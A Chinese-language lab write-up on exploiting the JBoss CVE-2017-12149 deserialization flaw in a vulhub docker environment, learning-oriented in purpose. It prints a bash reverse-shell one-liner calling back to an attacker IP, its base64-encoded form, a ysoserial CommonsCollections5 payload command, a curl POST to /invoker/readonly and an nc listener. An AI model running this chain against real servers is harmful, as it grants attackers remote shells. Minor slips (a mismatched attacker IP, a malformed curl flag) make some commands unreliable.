Jboss CVE-2017-12149反序列化漏洞
漏洞描述
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
实验环境
主机 | 角色 | IP |
---|---|---|
centos8 | 漏洞靶机 | 192.168.1.80 |
windows10 | 攻击机 | 192.168.1.120 |
实验流程
启动漏洞环境centos8
service docker start
cd /usr/sbin/vulhub/jboss/CVE-2017-12149
docker-compose build
docker-compose up -d
尝试访问漏洞页面:
环境搭建成功!
bash -i >& /dev/tcp/192.168.1.125/8888 0>&1
编码后(在线编码):
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI1Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
序列化数据生成:
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI1Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser
如图所示:成功生成poc.ser文件!
看一下文件内容,是生成的java代码:
在windows上开启一个端口监听:
用curl命令,将poc.ser以post请求的方式发送到/invoker/readonly。
curl http://192.168.1.80:8080/invoker/readonly --data--binary @poc.ser
如图所示,成功反弹shell:
nc -lvp 8888
使用自动化工具:工具地址